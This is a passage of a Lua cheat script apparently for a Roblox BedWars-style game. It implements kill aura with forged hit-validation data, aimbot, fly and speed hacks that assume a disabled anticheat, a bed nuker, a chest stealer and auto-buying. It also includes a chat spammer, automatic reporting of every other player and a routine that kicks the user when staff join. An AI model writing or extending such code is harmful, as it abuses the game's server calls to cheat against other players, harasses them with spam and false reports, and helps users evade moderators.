  1489. end
  1490.  
  1491. local function FpsBoost()
  1492. for i, v in next, CollectionService:GetTagged("block") do
  1493. if v:GetAttribute("PlacedByUserId") == 0 then
  1494. v.Material = Enum.Material.SmoothPlastic
  1495.  
  1496. for i2, v2 in next, (v:GetDescendants()) do
  1497. if v2:IsA("BasePart") then
  1498. v2.Material = Enum.Material.SmoothPlastic
  1499. end
  1500. end
  1501. end
  1502. end
  1503. end
  1504.  
  1505. function GetSpeed()
  1506. local Speed = 0
  1507.  
  1508. if IsAlive(LocalPlayer) then
  1509.  
  1510. local SpeedDamageBoost = LocalPlayer.Character:GetAttribute("SpeedBoost")
  1511.  
  1512. if SpeedDamageBoost and SpeedDamageBoost > 1 then
  1513. Speed = Speed + (20 * (SpeedDamageBoost - 1))
  1514. end
  1515.  
  1516. if LocalPlayer.Character:GetAttribute("SpeedPieBuff") then
  1517. Speed = Speed + 5
  1518. end
  1519.  
  1520. if LocalPlayer.Character:GetAttribute("GrimReaperChannel") then
  1521. Speed = Speed + 20
  1522. end
  1523.  
  1524. if ZephyrOrb ~= 0 then
  1525. Speed = Speed + 19
  1526. end
  1527.  
  1528. if DamageBoost == true then
  1529. Speed = Speed + 18
  1530. end
  1531.  
  1532. if AnticheatDisabled == true then
  1533. Speed = Speed + 18
  1534. end
  1535.  
  1536. Speed = ((Speed + Settings.Speed.Speed) - 20)
  1537. end
  1538.  
  1539. return Speed
  1540. end
  1541.  
  1542. function GetBlock()
  1543. for i, v in next, GetInventory(LocalPlayer) do
  1544. if ItemTable[v.itemType].block ~= nil and v.itemType:find("wool") then
  1545. return v.itemType
  1546. end
  1547. end
  1548. end
  1549.  
  1550. local function HasItem(Name)
  1551. for i, v in next, GetInventory(LocalPlayer) do
  1552. if v.itemType:find(Name) then
  1553. return v
  1554. end
  1555. end
  1556.  
  1557. return nil
  1558. end
  1559.  
  1560. function AutoBuy()
  1561. local NearestNpc = FindNearestNpc(30)
  1562.  
  1563. if NearestNpc then
  1564. local Wool = {
  1565. [1] = {
  1566. ["shopItem"] = {
  1567. ["currency"] = "iron",
  1568. ["itemType"] = "wool_white",
  1569. ["amount"] = 16,
  1570. ["price"] = 8,
  1571. ["category"] = "Blocks"
  1572. },
  1573. ["shopId"] = NearestNpc.Name
  1574. }
  1575. }
  1576.  
  1577. local EmeraldArmor ={
  1578. [1] = {
  1579. ["shopItem"] = {
  1580. ["lockAfterPurchase"] = true,
  1581. ["itemType"] = "emerald_chestplate",
  1582. ["price"] = 40,
  1583. ["customDisplayName"] = "Emerald Armor",
  1584. ["currency"] = "emerald",
  1585. ["category"] = "Combat",
  1586. ["nextTier"] = "",
  1587. ["ignoredByKit"] = {
  1588. [1] = "bigman"
  1589. },
  1590. ["spawnWithItems"] = {
  1591. [1] = "emerald_helmet",
  1592. [2] = "emerald_chestplate",
  1593. [3] = "emerald_boots"
  1594. },
  1595. ["amount"] = 1
  1596. },
  1597. ["shopId"] = NearestNpc.Name
  1598. }
  1599. }
  1600.  
  1601. local DiamondArmor ={
  1602. [1] = {
  1603. ["shopItem"] = {
  1604. ["lockAfterPurchase"] = true,
  1605. ["itemType"] = "Diamond_chestplate",
  1606. ["price"] = 8,
  1607. ["customDisplayName"] = "Diamond Armor",
  1608. ["currency"] = "emerald",
  1609. ["category"] = "Combat",
  1610. ["nextTier"] = "diamond_chestplate",
  1611. ["ignoredByKit"] = {
  1612. [1] = "bigman"
  1613. },
  1614. ["spawnWithItems"] = {
  1615. [1] = "diamond_helmet",
  1616. [2] = "diamond_chestplate",
  1617. [3] = "diamond_boots"
  1618. },
  1619. ["amount"] = 1
  1620. },
  1621. ["shopId"] = NearestNpc.Name
  1622. }
  1623. }
  1624. local IronArmor ={
  1625. [1] = {
  1626. ["shopItem"] = {
  1627. ["lockAfterPurchase"] = true,
  1628. ["itemType"] = "iron_chestplate",
  1629. ["price"] = 120,
  1630. ["customDisplayName"] = "Iron Armor",
  1631. ["currency"] = "iron",
  1632. ["category"] = "Combat",
  1633. ["nextTier"] = "diamond_chestplate",
  1634. ["ignoredByKit"] = {
  1635. [1] = "bigman"
  1636. },
  1637. ["spawnWithItems"] = {
  1638. [1] = "iron_helmet",
  1639. [2] = "iron_chestplate",
  1640. [3] = "iron_boots"
  1641. },
  1642. ["amount"] = 1
  1643. },
  1644. ["shopId"] = NearestNpc.Name
  1645. }
  1646. }
  1647.  
  1648. local LeatherArmor ={
  1649. [1] = {
  1650. ["shopItem"] = {
  1651. ["lockAfterPurchase"] = true,
  1652. ["itemType"] = "leather_chestplate",
  1653. ["price"] = 50,
  1654. ["customDisplayName"] = "Leather Armor",
  1655. ["currency"] = "iron",
  1656. ["category"] = "Combat",
  1657. ["nextTier"] = "iron_chestplate",
  1658. ["ignoredByKit"] = {
  1659. [1] = "bigman"
  1660. },
  1661. ["spawnWithItems"] = {
  1662. [1] = "leather_helmet",
  1663. [2] = "leather_chestplate",
  1664. [3] = "leather_boots"
  1665. },
  1666. ["amount"] = 1
  1667. },
  1668. ["shopId"] = NearestNpc.Name
  1669. }
  1670. }
  1671.  
  1672. local EmeraldSword = {
  1673. [1] = {
  1674. ["shopItem"] = {
  1675. ["disabledInQueue"] = {
  1676. [1] = "tnt_wars"
  1677. },
  1678. ["itemType"] = "emerald_sword",
  1679. ["price"] = 20,
  1680. ["superiorItems"] = {
  1681. [1] = ""
  1682. },
  1683. ["currency"] = "iron",
  1684. ["amount"] = 1,
  1685. ["ignoredByKit"] = {
  1686. [1] = "barbarian",
  1687. [2] = "dasher",
  1688. [3] = "frost_hammer_kit"
  1689. },
  1690. ["category"] = "Combat",
  1691. ["lockAfterPurchase"] = true
  1692. },
  1693. ["shopId"] = "1_item_shop"
  1694. }
  1695. }
  1696.  
  1697. local DiamondSword = {
  1698. [1] = {
  1699. ["shopItem"] = {
  1700. ["disabledInQueue"] = {
  1701. [1] = "tnt_wars"
  1702. },
  1703. ["itemType"] = "diamond_sword",
  1704. ["price"] = 4,
  1705. ["superiorItems"] = {
  1706. [1] = "emerald_sword"
  1707. },
  1708. ["currency"] = "emerald",
  1709. ["amount"] = 1,
  1710. ["ignoredByKit"] = {
  1711. [1] = "barbarian",
  1712. [2] = "dasher",
  1713. [3] = "frost_hammer_kit"
  1714. },
  1715. ["category"] = "Combat",
  1716. ["lockAfterPurchase"] = true
  1717. },
  1718. ["shopId"] = "1_item_shop"
  1719. }
  1720. }
  1721.  
  1722. local IronSword = {
  1723. [1] = {
  1724. ["shopItem"] = {
  1725. ["disabledInQueue"] = {
  1726. [1] = "tnt_wars"
  1727. },
  1728. ["itemType"] = "iron_sword",
  1729. ["price"] = 70,
  1730. ["superiorItems"] = {
  1731. [1] = "diamond_sword"
  1732. },
  1733. ["currency"] = "iron",
  1734. ["amount"] = 1,
  1735. ["ignoredByKit"] = {
  1736. [1] = "barbarian",
  1737. [2] = "dasher",
  1738. [3] = "frost_hammer_kit"
  1739. },
  1740. ["category"] = "Combat",
  1741. ["lockAfterPurchase"] = true
  1742. },
  1743. ["shopId"] = "1_item_shop"
  1744. }
  1745. }
  1746.  
  1747. local StoneSword = {
  1748. [1] = {
  1749. ["shopItem"] = {
  1750. ["disabledInQueue"] = {
  1751. [1] = "tnt_wars"
  1752. },
  1753. ["itemType"] = "stone_sword",
  1754. ["price"] = 20,
  1755. ["superiorItems"] = {
  1756. [1] = "iron_sword"
  1757. },
  1758. ["currency"] = "iron",
  1759. ["amount"] = 1,
  1760. ["ignoredByKit"] = {
  1761. [1] = "barbarian",
  1762. [2] = "dasher",
  1763. [3] = "frost_hammer_kit"
  1764. },
  1765. ["category"] = "Combat",
  1766. ["lockAfterPurchase"] = true
  1767. },
  1768. ["shopId"] = "1_item_shop"
  1769. }
  1770. }
  1771.  
  1772. task.spawn(function()
  1773. if HasItem("diamond_sword") then
  1774. PurchaseItem(EmeraldSword)
  1775. end
  1776.  
  1777. if HasItem("iron_sword") or HasItem("stone_sword") or HasItem("wood_sword") then
  1778. PurchaseItem(DiamondSword)
  1779. end
  1780.  
  1781. if HasItem("stone_sword") and HasItem("iron_chestplate") then
  1782. PurchaseItem(IronSword)
  1783. end
  1784.  
  1785. if HasItem("wood_sword") then
  1786. PurchaseItem(StoneSword)
  1787. end
  1788. end)
  1789.  
  1790. task.spawn(function()
  1791. if HasItem("diamond_chestplate") then
  1792. PurchaseItem(EmeraldArmor)
  1793. end
  1794.  
  1795. if HasItem("iron_chestplate") then
  1796. PurchaseItem(DiamondArmor)
  1797. end
  1798.  
  1799. if HasItem("stone_sword") and not HasItem("iron_chestplate") and not HasItem("diamond_chestplate") and not HasItem("emerald_chestplate") then
  1800. PurchaseItem(LeatherArmor)
  1801. end
  1802.  
  1803. if HasItem("leather_chestplate") then
  1804. PurchaseItem(IronArmor)
  1805. end
  1806. end)
  1807.  
  1808. task.spawn(function()
  1809. if HasItem("iron_chestplate") and HasItem("iron_sword") and Settings.Scaffold.Value == true then
  1810. PurchaseItem(Wool)
  1811. end
  1812. end)
  1813. end
  1814. end
  1815.  
  1816. function AutoKit()
  1817. local FindPetrifiedPlayer = FindPetrifiedPlayer()
  1818. local NearestPlayer = FindNearestPlayer(math.huge)
  1819.  
  1820. task.spawn(function()
  1821. if IsAlive(LocalPlayer) and NearestPlayer then
  1822. HannahPromptTriggerRemote:CallServer({victimEntity = NearestPlayer.Character, ["user"] = LocalPlayer})
  1823. end
  1824. end)
  1825.  
  1826. task.spawn(function()
  1827. if FindPetrifiedPlayer then
  1828. MinerRemote:FireServer({petrifyId = FindPetrifiedPlayer:GetAttribute("PetrifyId")})
  1829. end
  1830. end)
  1831.  
  1832. task.spawn(function()
  1833. TrinitySetAngelTypeRemote:FireServer({angel = "Void"})
  1834. end)
  1835. end
  1836.  
  1837. function IsAlive(Player)
  1838. Player = Player or LocalPlayer
  1839.  
  1840. if not Player.Character then return false end
  1841. if not Player.Character:FindFirstChild("Humanoid") then return false end
  1842. if Player.Character:GetAttribute("Health") <= 0 then return false end
  1843. if not Player.Character.PrimaryPart then return false end
  1844.  
  1845. return true
  1846. end
  1847.  
  1848. local function SwordHit(Entity, Weapon, NearestEntityDistance)
  1849. local LocalPlayerHumanoidRootPart = LocalPlayer.Character.HumanoidRootPart
  1850. local EntityPrimaryPart = Entity.PrimaryPart
  1851.  
  1852. local SelfPosition = LocalPlayerHumanoidRootPart.Position + (20 > 14 and (LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude > 14.4 and (CFrame.lookAt(LocalPlayerHumanoidRootPart.Position, EntityPrimaryPart.Position).lookVector * ((LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude - 14)) or Vector3.zero)
  1853.  
  1854. task.spawn(function()
  1855. if KillAuraAnimationCooldown and Settings.KillAura.CustomAnimation == true then
  1856. KillAuraAnimationCooldown = false
  1857.  
  1858. if Settings.Sigma.Value == false then
  1859. PlayAnimation(Animations.KillAura)
  1860.  
  1861. KillAuraAnimationCooldown = true
  1862. end
  1863.  
  1864. if Settings.Sigma.Value == true then
  1865. PlayAnimation(Animations.Sigma)
  1866.  
  1867. KillAuraAnimationCooldown = true
  1868. end
  1869. end
  1870. end)
  1871.  
  1872. task.spawn(function()
  1873. if Settings.KillAura.Strafe == true and NearestEntityDistance < (AnticheatDisabled and 16 or 12) then
  1874. LocalPlayerHumanoidRootPart.CFrame = CFrame.new(EntityPrimaryPart.Position - EntityPrimaryPart.CFrame.LookVector * 5 + Vector3.new(0, 0, 5))
  1875. end
  1876. end)
  1877.  
  1878. task.spawn(function()
  1879. if Settings.KillAura.ToolCheck == false then
  1880. task.spawn(function()
  1881. SwitchItem(Weapon.itemType)
  1882. end)
  1883.  
  1884. SelfPosition = LocalPlayerHumanoidRootPart.Position + (20 > 14 and (LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude > 14.4 and (CFrame.lookAt(LocalPlayerHumanoidRootPart.Position, EntityPrimaryPart.Position).lookVector * ((LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude - 14)) or Vector3.zero)
  1885.  
  1886. SwordHitRemote:FireServer({
  1887. weapon = Weapon.tool,
  1888. chargedAttack = {chargeRatio = 0},
  1889. entityInstance = Entity,
  1890. validate = {
  1891. raycast = {
  1892. cameraPosition = HashFunction(LocalPlayerHumanoidRootPart.Position),
  1893. cursorDirection = HashFunction(CFrame.new(SelfPosition, EntityPrimaryPart.Position).lookVector)
  1894. },
  1895. targetPosition = HashFunction(EntityPrimaryPart.Position),
  1896. selfPosition = HashFunction(SelfPosition)
  1897. }
  1898. })
  1899. end
  1900.  
  1901. if Settings.KillAura.ToolCheck == true then
  1902. if HasItem(Weapon.itemType) then
  1903. SelfPosition = LocalPlayerHumanoidRootPart.Position + (20 > 14 and (LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude > 14.4 and (CFrame.lookAt(LocalPlayerHumanoidRootPart.Position, EntityPrimaryPart.Position).lookVector * ((LocalPlayerHumanoidRootPart.Position - EntityPrimaryPart.Position).Magnitude - 14)) or Vector3.zero)
  1904.  
  1905. SwordHitRemote:FireServer({
  1906. weapon = Weapon.tool,
  1907. chargedAttack = {chargeRatio = 0},
  1908. entityInstance = Entity,
  1909. validate = {
  1910. raycast = {
  1911. cameraPosition = HashFunction(LocalPlayerHumanoidRootPart.Position),
  1912. cursorDirection = HashFunction(CFrame.new(SelfPosition, EntityPrimaryPart.Position).lookVector)
  1913. },
  1914. targetPosition = HashFunction(EntityPrimaryPart.Position),
  1915. selfPosition = HashFunction(SelfPosition)
  1916. }
  1917. })
  1918. end
  1919. end
  1920. end)
  1921. end
  1922.  
  1923. function GetBow()
  1924. local BestBow, BestBowDamage = nil, 0
  1925.  
  1926. for i, v in next, GetInventory(LocalPlayer) do
  1927. if v.itemType:find("bow") then
  1928. local Item = ItemTable[v.itemType].projectileSource
  1929. local Arrow = Item.projectileType("arrow")
  1930. local Damage = ProjectileMeta[Arrow].combat.damage
  1931.  
  1932. if Damage > BestBowDamage then
  1933. BestBowDamage = Damage
  1934. BestBow = v
  1935. end
  1936. end
  1937. end
  1938.  
  1939. return BestBow, BestBowDamage
  1940. end
  1941.  
  1942. local function InfFly()
  1943. if InfiniteFlyValue == true and IsAlive(LocalPlayer) then
  1944. SpoofedCamera = CreateSpoofedCamera()
  1945. StartLevel = LocalPlayer.Character.Head.Position.Y
  1946.  
  1947. if SpoofedCamera then
  1948. SetCamera(SpoofedCamera)
  1949. end
  1950.  
  1951. LocalPlayer.Character.PrimaryPart.CFrame += Vector3.new(0, 1000000, 0)
  1952. SpoofedCamera.Position = Vector3.new(SpoofedCamera.Position.X, StartLevel, SpoofedCamera.Position.Z)
  1953.  
  1954. repeat
  1955. task.wait()
  1956.  
  1957. SpoofedCamera.Position = Vector3.new(LocalPlayer.Character.PrimaryPart.Position.X, SpoofedCamera.Position.Y + (FlyUp and 0.5 or 0) + (FlyDown and -0.5 or 0), LocalPlayer.Character.PrimaryPart.Position.Z)
  1958. StartLevel = SpoofedCamera.Position.Y
  1959. until InfiniteFlyValue == false or not IsAlive(LocalPlayer)
  1960.  
  1961. if InfiniteFlyValue == false or not IsAlive(LocalPlayer) then
  1962. LocalPlayer.Character.PrimaryPart.Anchored = true
  1963. LocalPlayer.Character.PrimaryPart.CFrame = SpoofedCamera.CFrame + Vector3.new(0, 5, 0)
  1964. SetCamera(LocalPlayer.Character)
  1965.  
  1966. SpoofedCamera:Destroy()
  1967.  
  1968. task.wait(0.025)
  1969.  
  1970. WorkSpace.Gravity = 50
  1971. LocalPlayer.Character.PrimaryPart.Anchored = false
  1972.  
  1973. task.wait(1)
  1974.  
  1975. WorkSpace.Gravity = 196.2
  1976. end
  1977. end
  1978. end
  1979.  
  1980. local function Nuker(NearestBed, NearestOre)
  1981. if NearestBed then
  1982. local NukerRaycastParameters = RaycastParams.new()
  1983. local TargetBlock = nil
  1984.  
  1985. NukerRaycastParameters.FilterType = Enum.RaycastFilterType.Exclude
  1986. NukerRaycastParameters.FilterDescendantsInstances = {LocalPlayer.Character}
  1987. NukerRaycastParameters.IgnoreWater = true
  1988.  
  1989. local RaycastResult = WorkSpace:Raycast(NearestBed.Position + Vector3.new(0, 30, 0), Vector3.new(0, -35, 0), NukerRaycastParameters)
  1990.  
  1991. if RaycastResult then
  1992. if RaycastResult.Instance then
  1993. TargetBlock = RaycastResult.Instance
  1994. end
  1995.  
  1996. if not RaycastResult.Instance then
  1997. TargetBlock = NearestBed
  1998. end
  1999.  
  2000. DamageBlockRemote:InvokeServer({
  2001. ["blockRef"] = {
  2002. ["blockPosition"] = GetServerPosition(TargetBlock.Position)
  2003. },
  2004. ["hitPosition"] = GetServerPosition(TargetBlock.Position),
  2005. ["hitNormal"] = GetServerPosition(TargetBlock.Position)
  2006. })
  2007. end
  2008. end
  2009.  
  2010. if not NearestBed and NearestOre then
  2011. if Settings.Nuker.BreakOres == true then
  2012. DamageBlockRemote:InvokeServer({
  2013. ["blockRef"] = {
  2014. ["blockPosition"] = GetServerPosition(NearestOre.Position)
  2015. },
  2016. ["hitPosition"] = GetServerPosition(NearestOre.Position),
  2017. ["hitNormal"] = GetServerPosition(NearestOre.Position)
  2018. })
  2019. end
  2020. end
  2021. end
  2022.  
  2023. local function FlyMe()
  2024. local FlyGroundTime = tick()
  2025.  
  2026. if FlyValue == true and IsAlive(LocalPlayer) then
  2027. task.spawn(function()
  2028. local FlyHud, NumberDisplay, SliderDisplay = CreateFlyHud()
  2029.  
  2030. repeat
  2031. task.wait()
  2032.  
  2033. if tick() - FlyGroundTime <= 2.4 then
  2034. local MaxFlyTime = 2.4
  2035. local FlyTime = DecimalRound(tick() - FlyGroundTime, 1)
  2036.  
  2037. NumberDisplay.Text = FlyTime
  2038.  
  2039. local TweenInformation = TweenInfo.new(0.35, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0)
  2040. local Tween = TweenService:Create(SliderDisplay, TweenInformation, {Size = UDim2.new(FlyTime / MaxFlyTime, 0, 1, 0)})
  2041.  
  2042. Tween:Play()
  2043. end
  2044.  
  2045. until FlyValue == false or not IsAlive(LocalPlayer)
  2046.  
  2047. FlyHud:Destroy()
  2048. end)
  2049.  
  2050. task.spawn(function()
  2051. FlyBodyVelocity = Instance.new("BodyVelocity")
  2052. FlyBodyVelocity.MaxForce = Vector3.new(0, 9e9, 0)
  2053. FlyBodyVelocity.Name = "FlyBodyVelocity"
  2054. FlyBodyVelocity.Parent = LocalPlayer.Character.PrimaryPart
  2055.  
  2056. FlyGroundTime = tick()
  2057.  
  2058. repeat
  2059. task.wait(LoopWaitTime)
  2060.  
  2061. if TouchingGround() then
  2062. FlyGroundTime = tick()
  2063. end
  2064.  
  2065. if FlyValue == true and IsAlive(LocalPlayer) then
  2066. FlyBodyVelocity.Velocity = Vector3.new(0, (FlyUp and 40 or 0) + (FlyDown and -40 or 0), 0)
  2067.  
  2068. if (tick() - FlyGroundTime) >= 2.4 then
  2069. local FlyTeleportPosition = LocalPlayer.Character.PrimaryPart.Position.Y
  2070.  
  2071. local FlyRaycastParameters = RaycastParams.new()
  2072.  
  2073. FlyRaycastParameters.FilterType = Enum.RaycastFilterType.Include
  2074. FlyRaycastParameters.FilterDescendantsInstances = {CollectionService:GetTagged("block")}
  2075.  
  2076. local Raycast = workspace:Raycast(LocalPlayer.Character.PrimaryPart.Position, Vector3.new(0, -1000, 0), FlyRaycastParameters)
  2077.  
  2078. if Raycast and Raycast.Instance and IsAlive(LocalPlayer) then
  2079. LocalPlayer.Character.PrimaryPart.CFrame = CFrame.new(Raycast.Instance.Position) + Vector3.new(0, LocalPlayer.Character.Humanoid.HipHeight, 0)
  2080.  
  2081. task.wait(0.12)
  2082.  
  2083. if IsAlive(LocalPlayer) then
  2084. LocalPlayer.Character.PrimaryPart.CFrame = CFrame.new(LocalPlayer.Character.PrimaryPart.Position + (Vector3.new(0, FlyTeleportPosition, 0) - Vector3.new(0, LocalPlayer.Character.PrimaryPart.Position.Y, 0)))
  2085.  
  2086. FlyGroundTime = tick()
  2087. end
  2088. end
  2089. end
  2090. end
  2091. until FlyValue == false or not IsAlive(LocalPlayer)
  2092.  
  2093. if LocalPlayer.Character.PrimaryPart:FindFirstChild("FlyBodyVelocity") then
  2094. LocalPlayer.Character.PrimaryPart:FindFirstChild("FlyBodyVelocity"):Destroy()
  2095. FlyGroundTime = tick()
  2096. end
  2097. end)
  2098. end
  2099. end
  2100.  
  2101. task.spawn(function()
  2102. repeat
  2103. task.wait(LoopWaitTime)
  2104.  
  2105. if Settings.KillAura.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2106. local NearestEntity, NearestEntityDistance = FindNearestEntity(Settings.KillAura.Range)
  2107. local Sword = GetSword()
  2108.  
  2109. task.spawn(function()
  2110. if not NearestEntity then
  2111. PlayAnimation(Animations.Neutral)
  2112. end
  2113. end)
  2114.  
  2115. task.spawn(function()
  2116. if NearestEntity and Sword then
  2117. SwordHit(NearestEntity, Sword, NearestEntityDistance)
  2118. end
  2119. end)
  2120. end
  2121. until not game
  2122. end)
  2123.  
  2124. task.spawn(function()
  2125. repeat
  2126. task.wait(LoopWaitTime)
  2127.  
  2128. task.spawn(function()
  2129. if Settings.AimAssist.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2130. local NearestEntity = FindNearestEntity(Settings.AimAssist.Range)
  2131.  
  2132. if NearestEntity then
  2133. local LookVector = (NearestEntity.PrimaryPart.Position - Camera.CFrame.Position).unit
  2134.  
  2135. Camera.CFrame = CFrame.new(Camera.CFrame.Position, Camera.CFrame.Position + LookVector)
  2136. end
  2137. end
  2138. end)
  2139.  
  2140. task.spawn(function()
  2141. if Settings.Aimbot.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2142. local NearestEntity, NearestEntityDistance = FindNearestEntity(math.huge)
  2143.  
  2144. local BestBow = GetBow()
  2145.  
  2146. if BestBow and IsAlive(LocalPlayer) and NearestEntity and not NearestEntity:FindFirstChildOfClass("ForceField") and NearestEntityDistance > 18 then
  2147. if Settings.Aimbot.ToolCheck == true then
  2148. if HasItem(BestBow.itemType) and HasItem("arrow") then
  2149. local Bow = HasItem(BestBow.itemType)
  2150.  
  2151. if Bow then
  2152. ShootProjectile(ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name):FindFirstChild(BestBow.itemType), "arrow")
  2153. end
  2154. end
  2155. end
  2156.  
  2157. if Settings.Aimbot.ToolCheck == false then
  2158. local Bow = HasItem(BestBow.itemType)
  2159.  
  2160. if Bow and HasItem("arrow") then
  2161. SwitchItem(BestBow.itemType)
  2162.  
  2163. ShootProjectile(ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name):FindFirstChild(BestBow.itemType), "arrow")
  2164. end
  2165. end
  2166. end
  2167.  
  2168. if not BestBow and IsAlive(LocalPlayer) then
  2169. if HasItem("fireball") then
  2170. ShootProjectile(ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name):FindFirstChild("fireball"), "fireball")
  2171. end
  2172.  
  2173. if HasItem("snowball") then
  2174. ShootProjectile(ReplicatedStorage.Inventories:FindFirstChild(LocalPlayer.Name):FindFirstChild("snowball"), "snowball")
  2175. end
  2176. end
  2177. end
  2178. end)
  2179.  
  2180. task.spawn(function()
  2181. if Settings.Scaffold.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2182. for i = 1, Settings.Scaffold.ExpandDistance do
  2183. local ScaffoldCFrame = LocalPlayer.Character.PrimaryPart.Position + (LocalPlayer.Character.Humanoid.MoveDirection * (i * 3.3)) - Vector3.new(0, (LocalPlayer.Character.PrimaryPart.Size.Y / 2) + (LocalPlayer.Character.Humanoid.HipHeight + 1.5), 0)
  2184. local Position = GetServerPosition(ScaffoldCFrame)
  2185. local Block = GetBlock()
  2186.  
  2187. if Block then
  2188. task.spawn(function()
  2189. PlaceBlock(Position, Block)
  2190. end)
  2191. end
  2192. end
  2193. end
  2194. end)
  2195. until not game
  2196. end)
  2197.  
  2198. task.spawn(function()
  2199. repeat
  2200. task.wait(0.5)
  2201.  
  2202. task.spawn(function()
  2203. if Settings.NoFall.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2204. GroundHitRemote:FireServer()
  2205. end
  2206. end)
  2207.  
  2208. task.spawn(function()
  2209. if Settings.ChestStealer.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2210. local NearestChest = FindNearestChest()
  2211.  
  2212. if NearestChest then
  2213. StealChest(NearestChest)
  2214. end
  2215. end
  2216. end)
  2217.  
  2218. task.spawn(function()
  2219. if Settings.AutoKit.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2220. AutoKit()
  2221. end
  2222. end)
  2223.  
  2224. task.spawn(function()
  2225. if Settings.AutoBank.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2226. AutoBank()
  2227. end
  2228. end)
  2229.  
  2230. task.spawn(function()
  2231. if Settings.AutoBuy.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2232. AutoBuy()
  2233. end
  2234. end)
  2235.  
  2236. task.spawn(function()
  2237. if Settings.Fov.Value == true then
  2238. FovController:setFOV(Settings.Fov.Fov)
  2239. end
  2240.  
  2241. if Settings.Fov.Value == false then
  2242. FovController:setFOV(ClientHandlerStore:getState().Settings.fov)
  2243. end
  2244. end)
  2245. until not game
  2246. end)
  2247.  
  2248. task.spawn(function()
  2249. repeat
  2250. task.wait(1 / Settings.AutoClicker.Cps)
  2251.  
  2252. if Settings.AutoClicker.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2253. task.spawn(function()
  2254. if ClientHandlerStore:getstate().Inventory.observedInventory == "block" and BlockPlacementController.blockPlacer.clientManager then
  2255. local MouseInformation = BlockPlacementController.blockPlacer.clientManager:getBlockSelector():getMouseInfo(0)
  2256.  
  2257. if MouseInformation then
  2258. BlockPlacementController.blockPlacer:placeBlock(MouseInformation.placementPosition)
  2259. end
  2260. end
  2261. end)
  2262.  
  2263. task.spawn(function()
  2264. SwordController:swingSwordAtMouse()
  2265. end)
  2266. end
  2267. until not game
  2268. end)
  2269.  
  2270. task.spawn(function()
  2271. repeat
  2272. task.wait(100 / Settings.ChatSpammer.Speed)
  2273.  
  2274. task.spawn(function()
  2275. if Settings.ChatSpammer.Value == true and GetMatchState() ~= 0 then
  2276. ChatSpam()
  2277. end
  2278. end)
  2279. until not game
  2280. end)
  2281.  
  2282. task.spawn(function()
  2283. local ReportedList = {}
  2284.  
  2285. repeat
  2286. task.wait(LoopWaitTime)
  2287.  
  2288. if Settings.AutoReport.Value == true then
  2289. for i, v in next, PlayerService:GetPlayers() do
  2290. if v ~= LocalPlayer and v:GetAttribute("PlayerConnected") and ReportedList[v] == nil then
  2291. ReportRemote:FireServer(v.UserId)
  2292. ReportedList[v] = true
  2293.  
  2294. task.wait(1)
  2295. end
  2296. end
  2297. end
  2298. until not game
  2299. end)
  2300.  
  2301. task.spawn(function()
  2302. PlayerService.PlayerAdded:Connect(function(Player)
  2303. if Player:IsInGroup(5774246) and Player:GetRankInGroup(5774246) >= 2 then
  2304.  
  2305. task.spawn(function()
  2306. if Settings.AntiStaff.Kick == true then
  2307. LocalPlayer:Kick("A staff has joined your game!")
  2308. end
  2309.  
  2310. CreateNotification(60, "A staff has joined your game!")
  2311. end)
  2312. end
  2313. end)
  2314.  
  2315. task.spawn(function()
  2316. task.wait(5)
  2317.  
  2318. for i, v in next, PlayerService:GetPlayers() do
  2319. task.spawn(function()
  2320. if v:IsInGroup(5774246) and v:GetRankInGroup(5774246) >= 2 then
  2321.  
  2322. task.spawn(function()
  2323. task.spawn(function()
  2324. if Settings.AntiStaff.Kick == true then
  2325. LocalPlayer:Kick("A staff has joined your game!")
  2326. end
  2327. end)
  2328.  
  2329. CreateNotification(60, "A staff has joined your game!")
  2330. end)
  2331. end
  2332. end)
  2333. end
  2334. end)
  2335. end)
  2336.  
  2337. task.spawn(function()
  2338. Client:WaitFor("EntityDamageEvent"):andThen(function(v)
  2339. v:Connect(function(Player)
  2340. if Player.entityInstance == LocalPlayer.Character and Settings.DamageBoost.Value == true and IsAlive(LocalPlayer) and GetMatchState() ~= 0 then
  2341. task.spawn(function()
  2342. DamageBoost = true
  2343.  
  2344. task.wait(0.8)
  2345.  
  2346. DamageBoost = false
  2347. end)
  2348. end
  2349. end)
  2350. end)
  2351. end)
  2352.  
  2353. task.spawn(function()
  2354. task.spawn(function()
  2355. if GetQueueType():find("skywars") then
  2356. repeat task.wait(1) until not IsAlive(LocalPlayer)
  2357.  
  2358. PlayAgainRemote.joinQueue:FireServer({["queueType"] = GetQueueType()})
  2359. end
  2360. end)
  2361.  
  2362. repeat task.wait(1) until GetMatchState() == 2
  2363.  
  2364. if Settings.PlayAgain.Value == true then
  2365. PlayAgainRemote.joinQueue:FireServer({["queueType"] = GetQueueType()})
  2366. end
  2367. end)
  2368.  
  2369. task.spawn(function()
  2370. RunService.Heartbeat:Connect(function(Delta)
  2371. if Settings.Speed.Value == true and IsAlive(LocalPlayer) then
  2372. local SpeedValue = GetSpeed()
  2373.  
  2374. local SpeedRaycastParameters = RaycastParams.new()
  2375.  
  2376. SpeedRaycastParameters.FilterDescendantsInstances = {LocalPlayer.Character}
  2377.  
  2378. local SpeedCFrame = LocalPlayer.Character.Humanoid.MoveDirection * SpeedValue * Delta
  2379.  
  2380. local Raycast = WorkSpace:Raycast(LocalPlayer.Character.PrimaryPart.Position, SpeedCFrame, SpeedRaycastParameters)
  2381.  
  2382. if not Raycast then
